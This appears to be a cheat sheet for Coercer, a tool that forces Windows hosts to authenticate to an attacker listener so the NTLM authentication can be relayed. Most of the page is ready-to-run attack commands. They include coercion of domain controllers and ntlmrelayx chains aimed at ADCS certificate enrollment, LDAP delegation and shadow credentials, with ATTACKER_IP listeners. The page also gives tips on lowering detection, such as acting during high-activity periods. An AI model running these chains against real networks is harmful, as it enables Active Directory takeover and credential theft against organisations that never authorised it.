تخطَّ إلى المحتوى

Coercer

Coercer is a Python tool that automates Windows authentication coercion attacks by triggering NTLM authentication from target machines to an attacker-controlled listener. It supports multiple coercion methods including PetitPotam, PrinterBug, DFSCoerce, and ShadowCoerce, enabling NTLM relay attacks for AD privilege escalation.

pip install coercer
git clone https://github.com/p0dalirius/Coercer.git
cd Coercer
pip install -r requirements.txt
python3 -m coercer --help
  • Python 3.8+
  • impacket
  • pycryptodomex
  • requests
  • argparse

Basic coercion with credentials:

coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN

Scan target to identify working methods:

coercer scan -t 192.168.1.50 -u domain\\user -p password -d DOMAIN

Coerce with NTLM hash:

coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c -d DOMAIN

Coercer supports numerous coercion methods across different MS-RPC protocols and Windows services:

MethodServiceProtocolMS-RPC InterfaceImpact
PetitPotamEfsRpc\\pipe\efsrpcEfsRpcHigh - SYSTEM auth
PrinterBugSpooler\\pipe\spoolssPrinter (RPC)High - SYSTEM auth
DFSCoerceMSDFS\\pipe\netdfsNetDFSMedium - SYSTEM auth
ShadowCoerceShadow Copy VSS\\pipe\vssadminFSRVPMedium - SYSTEM auth
MSEFSRCoerceEFSRPC\\pipe\efsrpcEfsRpcHigh - SYSTEM auth
WebexecWebClientHTTPIOCTLMedium - User context
DFSCoerceRPCMSDFS\\pipe\netdfsNetDFSMedium - SYSTEM auth
RprRemoteFindFirstFileRemoteRegistry\\pipe\winregRemoteRegistryLow - Registry read
EfsRpcOpenFileRawEfsRpc\\pipe\efsrpcEfsRpcHigh - SYSTEM auth
LsasrvLSA\\pipe\lsarpcLSAMedium - LSASS auth
TssessionTerminal Services\\pipe\tssessionTermSrvLow - TS context

Enumerate which coercion methods work without triggering full authentication:

# Scan all methods
coercer scan -t 192.168.1.50 -u domain\\user -p password -d DOMAIN

# Scan with NTLM hash
coercer scan -t 192.168.1.50 -u domain\\user -H HASH -d DOMAIN

# Filter by method name
coercer scan -t 192.168.1.50 -u domain\\user -p password -d DOMAIN --filter-method PetitPotam

# Filter by protocol
coercer scan -t 192.168.1.50 -u domain\\user -p password -d DOMAIN --filter-protocol EfsRpc

# Filter by pipe name
coercer scan -t 192.168.1.50 -u domain\\user -p password -d DOMAIN --filter-pipe-name efsrpc

# Scan with timeout per method
coercer scan -t 192.168.1.50 -u domain\\user -p password -d DOMAIN --timeout 10

Trigger actual NTLM authentication to listener:

# Basic coercion to listener
coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN

# Coerce specific method
coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN --method PetitPotam

# Coerce with output verbosity
coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN -v

# Coerce to alternative port
coercer coerce -l 192.168.1.100:4444 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN

# Coerce with timeout
coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN --timeout 30

Discover new coercion methods by fuzzing RPC endpoints:

# Fuzz target to discover methods
coercer fuzz -t 192.168.1.50 -u domain\\user -p password -d DOMAIN -l 192.168.1.100

# Fuzz with specific pipe
coercer fuzz -t 192.168.1.50 -u domain\\user -p password -d DOMAIN -l 192.168.1.100 --pipe efsrpc

# Fuzz with timeout
coercer fuzz -t 192.168.1.50 -u domain\\user -p password -d DOMAIN -l 192.168.1.100 --timeout 30
coercer coerce -l LISTENER -t TARGET -u domain\\username -p password -d DOMAIN
coercer coerce -l LISTENER -t TARGET -u username -p password -d DOMAIN
coercer coerce -l LISTENER -t TARGET -u domain\\username -H LM:NTLM -d DOMAIN
coercer coerce -l LISTENER -t TARGET -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
coercer coerce -l LISTENER -t TARGET -k -d DOMAIN
export KRB5CCNAME=/tmp/user.ccache
coercer coerce -l LISTENER -t TARGET -k
coercer coerce -l LISTENER -t TARGET --no-pass
coercer scan -t TARGET --no-pass
coercer coerce -l LISTENER -t TARGET --local
# Terminal 1: Start ntlmrelayx
ntlmrelayx.py -t 192.168.1.60 --no-http-server -smb2support

# Terminal 2: Run coercer
coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN
# Terminal 1: Start Responder
responder -I eth0 -v

# Terminal 2: Run coercer with SMB relay
coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN
# Using impacket smbserver
smbserver.py -smb2support -ip 192.168.1.100 share /tmp

# Run coercer to relay
coercer coerce -l 192.168.1.100 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN
coercer coerce -l 192.168.1.100:445 -t TARGET -u domain\\user -p password -d DOMAIN
# Terminal 1: Start ntlmrelayx targeting ADCS
ntlmrelayx.py -t http://dc.domain.local/certsrv/certfnsh.asp -template DomainController --no-http-server -smb2support

# Terminal 2: Coerce to relay
coercer coerce -l ATTACKER_IP -t TARGET -u domain\\user -p password -d DOMAIN
# Terminal 1: Start ntlmrelayx for LDAP relay with RBCD
ntlmrelayx.py -t ldap://dc.domain.local --no-http-server -smb2support --delegate-access

# Terminal 2: Coerce target
coercer coerce -l ATTACKER_IP -t TARGET -u domain\\user -p password -d DOMAIN
# Terminal 1: Start ntlmrelayx targeting LDAP
ntlmrelayx.py -t ldap://dc.domain.local --no-http-server -smb2support --shadow-credentials

# Terminal 2: Trigger coercion
coercer coerce -l ATTACKER_IP -t TARGET -u domain\\user -p password -d DOMAIN

Coerce Machine Account to Relay for Privilege Escalation

Section titled “Coerce Machine Account to Relay for Privilege Escalation”
# Scan first to find working method
coercer scan -t DC_IP -u domain\\user -p password -d DOMAIN

# Coerce DC to listener for relay to ADCS
coercer coerce -l ATTACKER_IP -t DC_IP -u domain\\user -p password -d DOMAIN --method PetitPotam

Force HTTP authentication instead of SMB for cross-protocol relay attacks:

# Enable WebDAV coercion (requires WebClient service running)
coercer coerce -l http://ATTACKER_IP:80 -t 192.168.1.50 -u domain\\user -p password -d DOMAIN

# WebDAV with custom path
coercer coerce -l http://ATTACKER_IP:8080/share -t TARGET -u domain\\user -p password -d DOMAIN

# Combine with HTTP listener on ntlmrelayx
ntlmrelayx.py -I http://ATTACKER_IP:8080 -t http://target.com --no-smb-server

coercer coerce -l http://ATTACKER_IP:8080 -t TARGET -u domain\\user -p password -d DOMAIN
# Only PetitPotam
coercer scan -t TARGET -u domain\\user -p password --filter-method PetitPotam

# Multiple methods
coercer scan -t TARGET -u domain\\user -p password --filter-method "PetitPotam|PrinterBug"
# Only EfsRpc protocol
coercer scan -t TARGET -u domain\\user -p password --filter-protocol EfsRpc

# Multiple protocols
coercer scan -t TARGET -u domain\\user -p password --filter-protocol "EfsRpc|NetDFS"
# Only efsrpc pipe
coercer scan -t TARGET -u domain\\user -p password --filter-pipe-name efsrpc

# Multiple pipes
coercer scan -t TARGET -u domain\\user -p password --filter-pipe-name "efsrpc|netdfs"
coercer scan -t TARGET -u domain\\user -p password -d DOMAIN \
  --filter-method PetitPotam \
  --filter-protocol EfsRpc
# Verify connectivity
ping TARGET_IP

# Test SMB connectivity
smbclient -L //TARGET_IP -u domain\\user -p password

# Test with timeout
coercer scan -t TARGET -u domain\\user -p password -d DOMAIN --timeout 30
# Verify credentials
coercer scan -t TARGET -u domain\\user -p password -d DOMAIN -v

# Try alternative username format
coercer scan -t TARGET -u DOMAIN\\user -p password -d DOMAIN

# Use NTLM hash instead
coercer scan -t TARGET -u domain\\user -H HASH -d DOMAIN
# Some methods require specific services running
# Check if MSDFS, Spooler, or EfsRpc services are active
coercer scan -t TARGET -u domain\\user -p password -d DOMAIN -v

# Try with timeout increase
coercer coerce -l LISTENER -t TARGET -u domain\\user -p password -d DOMAIN --timeout 60
# Method may be patched or disabled
# Try scanning with verbose output
coercer scan -t TARGET -u domain\\user -p password -d DOMAIN -v

# Enumerate installed hotfixes
wmic qfe list brief /format:list
# Verify listener is running and accessible
telnet LISTENER_IP 445

# Check firewall rules
sudo ufw allow 445/tcp

# Use verbose logging
coercer coerce -l LISTENER_IP -t TARGET -u domain\\user -p password -d DOMAIN -v
  1. Always Scan First: Use coerce scan to identify working methods before triggering full coercion
  2. Use Specific Methods: Target known-working methods to avoid noise and detection
  3. Filter Results: Leverage filtering to reduce network activity and operational footprint
  4. Combine with Relay: Pair Coercer with ntlmrelayx or Responder for effective privilege escalation
  5. Monitor Logs: Coercion attempts generate security event logs; operate during high activity periods
  6. Patch Management: Target systems with outdated patches are more likely to support multiple methods
  7. Service Enumeration: Verify target services (Spooler, EfsRpc, MSDFS) are running before coercion
  8. Credential Handling: Use NTLM hashes or Kerberos tickets to avoid passing plaintext credentials
  9. Clean Relay Chains: Ensure ntlmrelayx or relay tool is properly configured before coercing
  10. Documentation: Log all coercion attempts, timing, and results for post-exploitation analysis
ToolPurpose
PetitPotamStandalone EfsRpc coercion tool; foundation for Coercer
ntlmrelayxNTLM relay framework to authenticate against other services
ResponderLLMNR/NBT-NS poisoning and relay tool
CertipyActive Directory Certificate Services enumeration and exploitation
krbrelayxKerberos relay attacks and alternative authentication methods
SpoolSampleStandalone PrinterBug implementation
PrintNightmareRCE exploit for CVE-2021-1675 via Print Spooler
Shadow CredentialsCredential dumping via shadow credentials in Active Directory